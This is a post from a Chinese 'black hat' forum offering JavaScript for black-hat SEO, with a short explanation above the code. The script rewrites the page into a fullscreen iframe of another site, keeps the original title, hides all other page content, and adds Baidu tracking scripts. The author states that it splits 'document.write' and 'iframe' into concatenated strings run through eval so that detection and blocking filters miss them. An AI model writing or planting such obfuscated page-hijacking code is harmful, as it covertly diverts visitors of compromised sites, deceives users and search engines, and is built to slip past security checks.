黑帽联盟
标题: 黑帽SEO常用的页面重写+嵌入iframe的代码 [打印本页]
作者: lgseo 时间: 昨天 13:30
标题: 黑帽SEO常用的页面重写+嵌入iframe的代码
这段代码主要实现了页面重写 + 嵌入 iframe 的功能,并且做了一些混淆处理来规避检测、
遍历并隐藏非目标元素,确保只有 iframe 容器和必要元素显示,避免原有页面内容干扰,
- 核心功能:将当前页面的内容全部替换为全屏嵌入的指定网址(需要嵌入的页面链接),同时保留原页面标题、适配移动端显示。
- 辅助操作:通过遍历隐藏无关元素确保 iframe 全屏显示,引入两个百度统计脚本统计页面访问数据。
- 特殊处理:代码中使用字符串拼接的方式混淆关键语法(如document.write、iframe),目的是规避检测或拦截。
[hide=d9999]<script >
var titlestr = document.title;
setFrame("需要嵌入的页面链接www.125o.com");
function setFrame(olink) {
var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div>';
eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
try {
setTimeout(function() {
console.log(document.body.children.length);
for (var i = 0; i < document.body.children.length; i++) {
try {
var a = document.body.children.tagName;
var b = document.body.children.id;
console.log(i + "***" + a + "**" + b);
if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
document.body.children.style.display = "non" + "e"
}
} catch(e) {}
}
var oMeta = document.createElement('meta');
oMeta.name = 'viewport';
oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
document.getElementsByTagName('head')[0].appendChild(oMeta);
},
100)
} catch(e) {}
}
</script>
/*以下的是统计代码*/
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?0cd5e26d964d68a9898489d7b32653fc";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?e390830c28b047f05c85c38dd0aaa9be";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>[/hide]
| 欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) |
Powered by Discuz! X2.5 |